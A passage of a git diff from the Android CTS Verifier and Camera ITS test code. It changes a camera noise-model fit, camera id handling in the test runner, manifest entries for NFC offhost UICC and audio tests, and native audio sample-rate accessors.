+                ymax = (O + S*xmax)*MAX_SCALE_FUDGE
                 color_plane_plots[s_int][pidx].set_xlim(xmin=0, xmax=xmax)
                 color_plane_plots[s_int][pidx].set_ylim(ymin=0, ymax=ymax)
                 color_plane_plots[s_int][pidx].legend()
@@ -218,7 +176,7 @@
             plots.append([s_int, fig])
 
             # Move to the next sensitivity.
-            s *= math.pow(2, 1.0/steps_per_stop)
+            s *= math.pow(2, 1.0/STEPS_PER_STOP)
 
         # do model plots
         (fig, (plt_S, plt_O)) = plt.subplots(2, 1, figsize=(11, 8.5))
@@ -242,28 +200,23 @@
             gains = np.asarray([s[0] for s in samples[pidx]])
             means = np.asarray([s[1] for s in samples[pidx]])
             vars_ = np.asarray([s[2] for s in samples[pidx]])
+            gains = gains.flatten()
+            means = means.flatten()
+            vars_ = vars_.flatten()
 
             # Define digital gain as the gain above the max analog gain
             # per the Camera2 spec. Also, define a corresponding C
             # expression snippet to use in the generated model code.
             digital_gains = np.maximum(gains/sens_max_analog, 1)
-            digital_gain_cdef = "(sens / %d.0) < 1.0 ? 1.0 : (sens / %d.0)" % \
+            assert np.all(digital_gains == 1)
+            digital_gain_cdef = '(sens / %d.0) < 1.0 ? 1.0 : (sens / %d.0)' % \
                 (sens_max_analog, sens_max_analog)
 
-            # Find the noise model parameters via least squares fit.
-            ad = gains*means
-            bd = means
-            cd = gains*gains
-            dd = digital_gains*digital_gains
-            a = np.asarray([ad, bd, cd, dd]).T
-            b = vars_
+            # Divide the whole system by gains*means.
+            f = lambda x, a, b, c, d: (c*(x[0]**2) + d + (x[1])*a*x[0] + (x[1])*b)/(x[0])
+            [result, _] = scipy.optimize.curve_fit(f, (gains, means), vars_/(gains))
 
-            # To avoid overfitting to high ISOs (high variances), divide the system
-            # by the gains.
-            a /= (np.tile(gains, (a.shape[1], 1)).T)
-            b /= gains
-
-            [A_p, B_p, C_p, D_p], _, _, _ = np.linalg.lstsq(a, b)
+            [A_p, B_p, C_p, D_p] = result[0:4]
             A.append(A_p)
             B.append(B_p)
             C.append(C_p)
@@ -276,16 +229,17 @@
                 C_p*sens_sq + D_p*np.square(np.maximum(sens/sens_max_analog, 1))
 
             plt_S.loglog(sens, S_measured, 'rgkb'[pidx]+'+', basex=10, basey=10,
-                         label="Measured")
-            plt_S.loglog(sens, S_model, 'rgkb'[pidx]+'x', basex=10, basey=10, label="Model")
-
+                         label='Measured')
+            plt_S.loglog(sens, S_model, 'rgkb'[pidx]+'x', basex=10, basey=10,
+                         label='Model')
             plt_O.loglog(sens, O_measured, 'rgkb'[pidx]+'+', basex=10, basey=10,
-                         label="Measured")
-            plt_O.loglog(sens, O_model, 'rgkb'[pidx]+'x', basex=10, basey=10, label="Model")
+                         label='Measured')
+            plt_O.loglog(sens, O_model, 'rgkb'[pidx]+'x', basex=10, basey=10,
+                         label='Model')
         plt_S.legend()
         plt_O.legend()
 
-        fig.savefig("%s.png" % (NAME))
+        fig.savefig('%s.png' % (NAME))
 
         # add models to subplots and re-save
         for [s, fig] in plots:  # re-step through figs...
@@ -294,9 +248,9 @@
             for (pidx, p) in enumerate(measured_models):
                 S = A[pidx]*s + B[pidx]
                 O = C[pidx]*s*s + D[pidx]*dg*dg
-                color_plane_plots[s][pidx].plot([0, max_signal_level],
-                        [O, O + S*max_signal_level], 'rgkb'[pidx]+'-',
-                        label="Model", alpha=0.5)
+                color_plane_plots[s][pidx].plot(
+                        [0, MAX_SIGNAL_VALUE], [O, O + S*MAX_SIGNAL_VALUE],
+                        'rgkb'[pidx]+'-', label='Model', alpha=0.5)
                 color_plane_plots[s][pidx].legend(loc='upper left')
             fig.savefig('%s_samples_iso%04d.png' % (NAME, s))
 
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index b6579a8..49f849e 100644
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -30,7 +30,7 @@
 import its.image
 import rotation_rig as rot
 
-# For sanity checking the installed APK's target SDK version
+# For checking the installed APK's target SDK version
 MIN_SUPPORTED_SDK_VERSION = 28  # P
 
 CHART_DELAY = 1  # seconds
@@ -429,7 +429,7 @@
     device_id_arg = "device=" + device_id
     print "Testing device " + device_id
 
-    # Sanity check CtsVerifier SDK level
+    # Check CtsVerifier SDK level
     # Here we only do warning as there is no guarantee on pm dump output formt not changed
     # Also sometimes it's intentional to run mismatched versions
     cmd = "adb -s %s shell pm dump com.android.cts.verifier" % (device_id)
@@ -473,7 +473,7 @@
     with ItsSession() as cam:
         cam.check_its_version_compatible()
 
-    # Sanity Check for devices
+    # Correctness check for devices
     device_bfp = its.device.get_device_fingerprint(device_id)
     assert device_bfp is not None
 
@@ -517,10 +517,14 @@
             results[s] = {result_key: ItsSession.RESULT_NOT_EXECUTED}
 
         camera_fov = calc_camera_fov(id_combo.id, id_combo.sub_id)
+        # Id combo used to store test results in file system
         id_combo_string = id_combo.id
+        # Id string used for testing
+        id_test_string = id_combo.id
         has_hidden_sub_camera = id_combo.sub_id is not None
         if has_hidden_sub_camera:
-            id_combo_string += ":" + id_combo.sub_id
+            id_combo_string += "." + id_combo.sub_id
+            id_test_string += ":" + id_combo.sub_id
             scenes = [scene for scene in scenes if HIDDEN_PHYSICAL_CAMERA_TESTS[scene]]
         # Loop capturing images until user confirm test scene is correct
         camera_id_arg = "camera=" + id_combo.id
@@ -643,7 +647,7 @@
                             test_code = skip_code
                     if skip_code is not SKIP_RET_CODE:
                         cmd = ['python', os.path.join(os.getcwd(), testpath)]
-                        cmd += one_camera_argv + ["camera="+id_combo_string] + [chart_loc_arg]
+                        cmd += one_camera_argv + ["camera="+id_test_string] + [chart_loc_arg]
                         cmd += [chart_dist_arg]
                         with open(outpath, 'w') as fout, open(errpath, 'w') as ferr:
                             test_code = run_subprocess_with_timeout(
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 0ed1126..fdb96d4 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -40,6 +40,7 @@
     <uses-permission android:name="android.permission.FULLSCREEN" />
     <uses-permission android:name="android.permission.INTERNET" />
     <uses-permission android:name="android.permission.NFC" />
+    <uses-permission android:name="android.permission.NFC_TRANSACTION_EVENT" />
     <uses-permission android:name="android.permission.VIBRATE" />
     <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES" />
     <uses-permission android:name="android.permission.REQUEST_PASSWORD_COMPLEXITY" />
@@ -80,6 +81,7 @@
 
     <!-- Needed for Telecom self-managed ConnectionService tests. -->
     <uses-permission android:name="android.permission.MANAGE_OWN_CALLS" />
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
 
     <application android:networkSecurityConfig="@xml/network_security_config"
             android:label="@string/app_name"
@@ -167,6 +169,7 @@
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_other" />
+            <meta-data android:name="test_excluded_features" android:value="android.hardware.type.automotive" />
         </activity>
 
         <activity android:name=".forcestop.RecentTaskRemovalTestActivity"
@@ -177,6 +180,7 @@
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
             <meta-data android:name="test_required_configs" android:value="config_has_recents"/>
+            <meta-data android:name="test_excluded_features" android:value="android.hardware.type.automotive" />
         </activity>
 
         <activity android:name=".companion.CompanionDeviceTestActivity"
@@ -207,7 +211,7 @@
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_device_admin" />
-            <meta-data android:name="test_excluded_features" android:value="android.hardware.type.automotive:android.software.lockscreen_disabled" />
+            <meta-data android:name="test_excluded_features" android:value="android.hardware.type.automotive:android.hardware.type.television:android.software.lockscreen_disabled" />
             <meta-data android:name="test_required_features"
                     android:value="android.software.device_admin" />
         </activity>
@@ -1732,6 +1736,16 @@
                 android:configChanges="keyboardHidden|orientation|screenSize">
         </activity>
 
+        <activity android:name="com.android.cts.verifier.nfc.offhost.OffhostUiccReaderTestActivity"
+                android:label="@string/nfc_offhost_uicc_reader_tests"
+                android:configChanges="keyboardHidden|orientation|screenSize">
+        </activity>
+
+        <activity android:name="com.android.cts.verifier.nfc.offhost.OffhostUiccEmulatorTestActivity"
+                android:label="@string/nfc_offhost_uicc_emulator_tests"
+                android:configChanges="keyboardHidden|orientation|screenSize">
+        </activity>
+
         <activity android:name=".nfc.NdefPushSenderActivity"
                 android:label="@string/nfc_ndef_push_sender"
                 android:configChanges="keyboardHidden|orientation|screenSize" />
@@ -1844,6 +1858,22 @@
                 android:label="@string/nfc_hce_f_reader"
                 android:configChanges="keyboardHidden|orientation|screenSize" />
 
+        <activity android:name=".nfc.offhost.UiccTransactionEvent1EmulatorActivity"
+                android:label="@string/nfc_offhost_uicc_transaction_event1_emulator"
+                android:configChanges="keyboardHidden|orientation|screenSize" />
+
+        <activity android:name=".nfc.offhost.UiccTransactionEvent2EmulatorActivity"
+                android:label="@string/nfc_offhost_uicc_transaction_event2_emulator"
+                android:configChanges="keyboardHidden|orientation|screenSize" />
+
+        <activity android:name=".nfc.offhost.UiccTransactionEvent3EmulatorActivity"
+                android:label="@string/nfc_offhost_uicc_transaction_event3_emulator"
+                android:configChanges="keyboardHidden|orientation|screenSize" />
+
+        <activity android:name=".nfc.offhost.SimpleOffhostReaderActivity"
+                android:label="@string/nfc_offhost_uicc_transaction_event1_reader"
+                android:configChanges="keyboardHidden|orientation|screenSize" />
+
         <!-- services used for testing NFC host-based card emulation -->
         <service android:name=".nfc.hce.PaymentService1" android:exported="true"
                  android:permission="android.permission.BIND_NFC_SERVICE"
@@ -1982,6 +2012,34 @@
             </intent-filter>
             <meta-data android:name="android.nfc.cardemulation.host_nfcf_service" android:resource="@xml/felicaservice"/>
         </service>
+
+        <service
+            android:name=".nfc.offhost.UiccTransactionEventService"
+            android:enabled="true"
+            android:exported="true" android:permission="android.permission.BIND_NFC_SERVICE">
+          <intent-filter>
+                <action android:name="android.nfc.cardemulation.action.OFF_HOST_APDU_SERVICE"/>
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+            <meta-data android:name="android.nfc.cardemulation.off_host_apdu_service" android:resource="@xml/uicc_transaction_event_aid_list"/>
+        </service>
+
+        <receiver android:name=".nfc.offhost.UiccTransactionEventReceiver">
+            <intent-filter>
+                <action android:name="android.nfc.action.TRANSACTION_DETECTED" >
+                </action>
+
+                <category android:name="android.intent.category.DEFAULT" >
+                </category>
+
+                <data
+                    android:host="secure"
+                    android:pathPattern="/SIM.*/A000000476416E64726F696443545341"
+                    android:port="0"
+                    android:scheme="nfc" />
+            </intent-filter>
+        </receiver>
+
         <!-- Service used for Camera ITS tests -->
         <service android:name=".camera.its.ItsService"
             android:foregroundServiceType="camera">
@@ -2153,6 +2211,8 @@
             <meta-data android:name="test_category" android:value="@string/test_category_camera" />
 
             <meta-data android:name="test_required_features" android:value="android.hardware.camera.any"/>
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.automotive"/>
         </activity>
 
         <activity android:name=".camera.intents.CameraIntentsActivity"
@@ -2164,6 +2224,8 @@
             <meta-data android:name="test_category" android:value="@string/test_category_camera" />
 
             <meta-data android:name="test_required_features" android:value="android.hardware.camera.any"/>
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.automotive"/>
         </activity>
 
         <service android:name=".camera.intents.CameraContentJobService"
@@ -2179,6 +2241,8 @@
             <meta-data android:name="test_category" android:value="@string/test_category_camera" />
 
             <meta-data android:name="test_required_features" android:value="android.hardware.camera.any"/>
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.automotive"/>
         </activity>
 
         <activity
@@ -2192,16 +2256,22 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_camera" />
             <meta-data android:name="test_required_features" android:value="android.hardware.camera.any"/>
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.automotive"/>
         </activity>
         <activity
             android:name=".camera.fov.DetermineFovActivity"
             android:label="@string/camera_fov_calibration"
             android:screenOrientation="landscape"
             android:theme="@android:style/Theme.Holo.NoActionBar.Fullscreen" >
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.automotive"/>
         </activity>
         <activity
             android:name=".camera.fov.CalibrationPreferenceActivity"
             android:label="@string/camera_fov_label_options" >
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.automotive"/>
         </activity>
 
 
@@ -2215,6 +2285,8 @@
             <meta-data android:name="test_category" android:value="@string/test_category_camera" />
             <meta-data android:name="test_required_features"
                     android:value="android.hardware.camera.any"/>
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.automotive"/>
         </activity>
 
         <activity android:name=".camera.its.ItsTestActivity"
@@ -2228,6 +2300,8 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_camera" />
             <meta-data android:name="test_required_features" android:value="android.hardware.camera.any" />
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.automotive"/>
         </activity>
 
         <activity android:name=".camera.flashlight.CameraFlashlightActivity"
@@ -2239,6 +2313,8 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_camera" />
             <meta-data android:name="test_required_features" android:value="android.hardware.camera.flash" />
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.automotive"/>
         </activity>
 
         <activity android:name=".camera.performance.CameraPerformanceActivity"
@@ -2250,6 +2326,8 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_camera" />
             <meta-data android:name="test_required_features" android:value="android.hardware.camera.any" />
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.automotive"/>
         </activity>
 
         <activity android:name=".camera.bokeh.CameraBokehActivity"
@@ -2262,6 +2340,8 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_camera" />
             <meta-data android:name="test_required_features" android:value="android.hardware.camera.any" />
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.automotive"/>
         </activity>
 
         <activity android:name=".usb.accessory.UsbAccessoryTestActivity"
@@ -2428,7 +2508,7 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_notifications" />
             <meta-data android:name="test_excluded_features"
-                       android:value="android.hardware.type.watch:android.software.leanback" />
+                       android:value="android.hardware.type.watch:android.software.leanback:android.hardware.type.automotive" />
         </activity>
 
         <activity android:name=".notifications.BubbleActivity"
@@ -2445,6 +2525,18 @@
                        android:resource="@xml/shortcuts" />
         </activity>
 
+        <activity android:name=".notifications.MediaPlayerVerifierActivity"
+                  android:label="@string/qs_media_player_title">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category"
+                       android:value="@string/test_category_notifications" />
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.watch:android.software.leanback:android.hardware.type.automotive" />
+        </activity>
+
         <service android:name=".notifications.MockListener"
           android:exported="true"
           android:label="@string/nls_service_name"
@@ -2483,7 +2575,7 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_tiles" />
             <meta-data android:name="test_excluded_features"
-                       android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
+                       android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
         </activity>
 
         <service android:name=".qstiles.MockTileService"
@@ -3695,7 +3787,19 @@
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
             <meta-data android:name="test_excluded_features"
-                android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
+                       android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
+        </activity>
+
+        <activity android:name=".audio.USBAudioPeripheralNotificationsTest"
+                  android:label="@string/audio_uap_notifications_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_audio" />
+            <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
         </activity>
 
         <activity android:name=".audio.USBAudioPeripheralPlayActivity"
@@ -3707,7 +3811,7 @@
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
             <meta-data android:name="test_excluded_features"
-                android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
+                       android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
         </activity>
 
         <activity android:name=".audio.USBAudioPeripheralRecordActivity"
@@ -3719,7 +3823,7 @@
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
             <meta-data android:name="test_excluded_features"
-                android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
+                       android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
         </activity>
 
         <activity android:name=".audio.USBAudioPeripheralButtonsActivity"
@@ -3731,7 +3835,7 @@
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
             <meta-data android:name="test_excluded_features"
-                android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
+                       android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
         </activity>
 
         <activity android:name=".audio.USBRestrictRecordAActivity"
@@ -3743,7 +3847,7 @@
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
             <meta-data android:name="test_excluded_features"
-                android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
+                       android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
         </activity>
 
         <activity android:name=".audio.ProAudioActivity"
@@ -3759,8 +3863,8 @@
         <!-- ProAudio test invokes the "Loopback" App -->
         <activity android:name="org.drrickorang.loopback"/>
 
-        <activity android:name=".audio.AudioLoopbackActivity"
-                  android:label="@string/audio_loopback_test">
+        <activity android:name=".audio.AudioLoopbackLatencyActivity"
+                  android:label="@string/audio_loopback_latency_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
@@ -4238,6 +4342,7 @@
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_instant_apps" />
+            <meta-data android:name="test_excluded_features" android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.automotive" />
         </activity>
         <activity android:name=".instantapps.RecentAppsTestActivity"
                  android:label="@string/ia_recents">
@@ -4246,6 +4351,7 @@
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_instant_apps" />
+            <meta-data android:name="test_excluded_features" android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.automotive" />
         </activity>
         <activity android:name=".instantapps.AppInfoTestActivity"
                  android:label="@string/ia_app_info">
@@ -4255,7 +4361,7 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_instant_apps" />
             <meta-data android:name="test_excluded_features"
-                android:value="android.hardware.type.television:android.software.leanback" />
+                android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.automotive" />
         </activity>
 
         <activity android:name=".displaycutout.DisplayCutoutTestActivity"
@@ -4268,4 +4374,8 @@
         </activity>
     </application>
 
+    <queries>
+         <!-- Rotation Vector CV Crosscheck (RVCVXCheckTestActivity) relies on OpenCV Manager -->
+         <package android:name="org.opencv.engine" />
+    </queries>
 </manifest>
diff --git a/apps/CtsVerifier/jni/audio_loopback/NativeAudioAnalyzer.cpp b/apps/CtsVerifier/jni/audio_loopback/NativeAudioAnalyzer.cpp
index d8d6946..8a1c63f 100644
--- a/apps/CtsVerifier/jni/audio_loopback/NativeAudioAnalyzer.cpp
+++ b/apps/CtsVerifier/jni/audio_loopback/NativeAudioAnalyzer.cpp
@@ -202,6 +202,10 @@
     return mPulseLatencyAnalyzer.getMeasuredConfidence();
 }
 
+int NativeAudioAnalyzer::getSampleRate() {
+    return mOutputSampleRate;
+}
+
 aaudio_result_t NativeAudioAnalyzer::openAudio() {
     AAudioStreamBuilder *builder = nullptr;
 
@@ -234,13 +238,13 @@
     int32_t outputFramesPerBurst = AAudioStream_getFramesPerBurst(mOutputStream);
     (void) AAudioStream_setBufferSizeInFrames(mOutputStream, outputFramesPerBurst * kDefaultOutputSizeBursts);
 
-    int32_t outputSampleRate = AAudioStream_getSampleRate(mOutputStream);
+    mOutputSampleRate = AAudioStream_getSampleRate(mOutputStream);
     mActualOutputChannelCount = AAudioStream_getChannelCount(mOutputStream);
 
     // Create the INPUT stream -----------------------
     AAudioStreamBuilder_setDirection(builder, AAUDIO_DIRECTION_INPUT);
     AAudioStreamBuilder_setFormat(builder, AAUDIO_FORMAT_UNSPECIFIED);
-    AAudioStreamBuilder_setSampleRate(builder, outputSampleRate); // must match
+    AAudioStreamBuilder_setSampleRate(builder, mOutputSampleRate); // must match
     AAudioStreamBuilder_setChannelCount(builder, 1); // mono
     AAudioStreamBuilder_setDataCallback(builder, nullptr, nullptr);
     AAudioStreamBuilder_setErrorCallback(builder, nullptr, nullptr);
diff --git a/apps/CtsVerifier/jni/audio_loopback/NativeAudioAnalyzer.h b/apps/CtsVerifier/jni/audio_loopback/NativeAudioAnalyzer.h
index 0d9c64b..3367226 100644
--- a/apps/CtsVerifier/jni/audio_loopback/NativeAudioAnalyzer.h
+++ b/apps/CtsVerifier/jni/audio_loopback/NativeAudioAnalyzer.h
@@ -80,6 +80,11 @@
     double getLatencyMillis();
 
     /**
+     * @return the sample rate (in Hz) used for the measurement signal
+     */
+    int getSampleRate();
+
+    /**
      * The confidence is based on a normalized correlation.
      * It ranges from 0.0 to 1.0. Higher is better.
      *
@@ -96,6 +101,7 @@
     aaudio_format_t    mActualInputFormat = AAUDIO_FORMAT_INVALID;
     int16_t           *mInputShortData = nullptr;
     float             *mInputFloatData = nullptr;
+    int32_t            mOutputSampleRate = 0;
 
     aaudio_result_t    mInputError = AAUDIO_OK;
     aaudio_result_t    mOutputError = AAUDIO_OK;
diff --git a/apps/CtsVerifier/jni/audio_loopback/jni-bridge.cpp b/apps/CtsVerifier/jni/audio_loopback/jni-bridge.cpp
index a851cbe..58908bd 100644
--- a/apps/CtsVerifier/jni/audio_loopback/jni-bridge.cpp
+++ b/apps/CtsVerifier/jni/audio_loopback/jni-bridge.cpp
@@ -113,4 +113,13 @@
     return 0.0;
 }
 
+JNIEXPORT jint JNICALL Java_com_android_cts_verifier_audio_NativeAnalyzerThread_getSampleRate
+  (JNIEnv *env __unused, jobject obj __unused, jlong pAnalyzer) {
+    NativeAudioAnalyzer * analyzer = (NativeAudioAnalyzer *) pAnalyzer;
+    if (analyzer != nullptr) {
+        return analyzer->getSampleRate();
+    }
+    return 0;
+}
+
 }
diff --git a/apps/CtsVerifier/res/layout/audio_frequency_mic_activity.xml b/apps/CtsVerifier/res/layout/audio_frequency_mic_activity.xml
index a0a715f..a991a15 100644
--- a/apps/CtsVerifier/res/layout/audio_frequency_mic_activity.xml
+++ b/apps/CtsVerifier/res/layout/audio_frequency_mic_activity.xml
@@ -38,8 +38,8 @@
                 android:layout_width="wrap_content"
                 android:layout_height="wrap_content"
                 android:orientation="vertical"
-                android:id="@+id/frequency_mic_layout_test_noise"
-            >
+                android:id="@+id/frequency_mic_layout_test_noise">
+
                 <View
                     android:layout_width="match_parent"
                     android:layout_height="1dp"
@@ -60,7 +60,8 @@
                         android:layout_width="wrap_content"
                         android:layout_height="wrap_content"
                         android:orientation="vertical"
-                        android:layout_weight="2">
+                        android:layout_weight="2"
+                        android:id="@+id/frequency_mic_layout_test_noise_dut_buttons">
 
                         <Button
                             android:layout_width="wrap_content"
@@ -84,7 +85,8 @@
                         android:layout_width="0dp"
                         android:layout_height="wrap_content"
                         android:orientation="vertical"
-                        android:layout_weight="1">
+                        android:layout_weight="1"
+                        android:id="@+id/frequency_mic_layout_test_noise_src_buttons">
                         <Button
                             android:layout_width="wrap_content"
                             android:layout_height="wrap_content"
@@ -93,7 +95,7 @@
                             android:id="@+id/frequency_mic_play_noise_btn" />
                     </LinearLayout>
                 </LinearLayout>
-                                <TextView
+                <TextView
                     android:layout_width="match_parent"
                     android:layout_height="wrap_content"
                     android:text="@string/frequency_mic_test_noise_result"
@@ -128,7 +130,8 @@
                         android:layout_width="wrap_content"
                         android:layout_height="wrap_content"
                         android:orientation="vertical"
-                        android:layout_weight="2">
+                        android:layout_weight="2"
+                        android:id="@+id/frequency_mic_layout_test_usb_background_dut_buttons">
 
                         <Button
                             android:layout_width="wrap_content"
@@ -178,7 +181,8 @@
                         android:layout_width="wrap_content"
                         android:layout_height="wrap_content"
                         android:orientation="vertical"
-                        android:layout_weight="2">
+                        android:layout_weight="2"
+                        android:id="@+id/frequency_mic_layout_test_usb_noise_dut_buttons">
 
                         <Button
                             android:layout_width="wrap_content"
@@ -202,7 +206,8 @@
                         android:layout_width="0dp"
                         android:layout_height="wrap_content"
                         android:orientation="vertical"
-                        android:layout_weight="1">
+                        android:layout_weight="1"
+                        android:id="@+id/frequency_mic_layout_test_usb_noise_src_buttons">
                         <Button
                             android:layout_width="wrap_content"
                             android:layout_height="wrap_content"
@@ -222,11 +227,11 @@
                 android:layout_height="1dp"
                 android:background="?android:colorAccent" />
 
-                <TextView
-                    android:layout_width="match_parent"
-                    android:layout_height="wrap_content"
-                    android:text="@string/frequency_mic_test_global_result"
-                    android:id="@+id/frequency_mic_test_global_result" />
+            <TextView
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:text="@string/frequency_mic_test_global_result"
+                android:id="@+id/frequency_mic_test_global_result" />
 
             <include layout="@layout/pass_fail_buttons" />
         </LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/audio_loopback_activity.xml b/apps/CtsVerifier/res/layout/audio_loopback_activity.xml
deleted file mode 100644
index 89d2e19..0000000
--- a/apps/CtsVerifier/res/layout/audio_loopback_activity.xml
+++ /dev/null
@@ -1,153 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<LinearLayout
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    android:layout_width="match_parent"
-    android:layout_height="wrap_content"
-    android:orientation="vertical"
-    style="@style/RootLayoutPadding">
-
-    <ScrollView
-        android:layout_width="match_parent"
-        android:layout_height="match_parent"
-        android:id="@+id/scrollView"
-    >
-
-        <LinearLayout
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:orientation="vertical"
-        >
-
-            <TextView
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:scrollbars="vertical"
-                android:gravity="bottom"
-                android:id="@+id/audio_general_headset_port_exists"
-                android:text="@string/audio_general_headset_port_exists" />
-
-            <LinearLayout
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:orientation="horizontal"
-            >
-
-                <Button
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"
-                    android:id="@+id/audio_general_headset_no"
-                    android:text="@string/audio_general_headset_no"
-                    android:nextFocusForward="@+id/audio_general_headset_yes"
-                    android:nextFocusDown="@+id/audio_loopback_plug_ready_btn"
-                    android:nextFocusRight="@+id/audio_general_headset_yes" />
-
-                <Button
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"
-                    android:id="@+id/audio_general_headset_yes"
-                    android:text="@string/audio_general_headset_yes"
-                    android:nextFocusForward="@+id/audio_loopback_plug_ready_btn"
-                    android:nextFocusDown="@+id/audio_loopback_plug_ready_btn"
-                    android:nextFocusLeft="@+id/audio_general_headset_no"
-                    android:nextFocusRight="@+id/audio_loopback_plug_ready_btn" />
-
-            </LinearLayout>
-
-            <LinearLayout
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:orientation="vertical"
-                android:id="@+id/audio_loopback_headset_port"
-            >
-
-                <TextView
-                    android:layout_width="match_parent"
-                    android:layout_height="wrap_content"
-                    android:scrollbars="vertical"
-                    android:gravity="bottom"
-                    android:id="@+id/info_text"
-                    android:text="@string/audio_loopback_instructions" />
-
-                <Button
-                    android:layout_width="match_parent"
-                    android:layout_height="wrap_content"
-                    android:id="@+id/audio_loopback_plug_ready_btn"
-                    android:text="@string/audio_loopback_plug_ready_btn"
-                    android:nextFocusForward="@+id/audio_loopback_level_seekbar"
-                    android:nextFocusUp="@+id/audio_general_headset_yes"
-                    android:nextFocusDown="@+id/audio_loopback_level_seekbar"
-                    android:nextFocusLeft="@+id/audio_general_headset_yes"
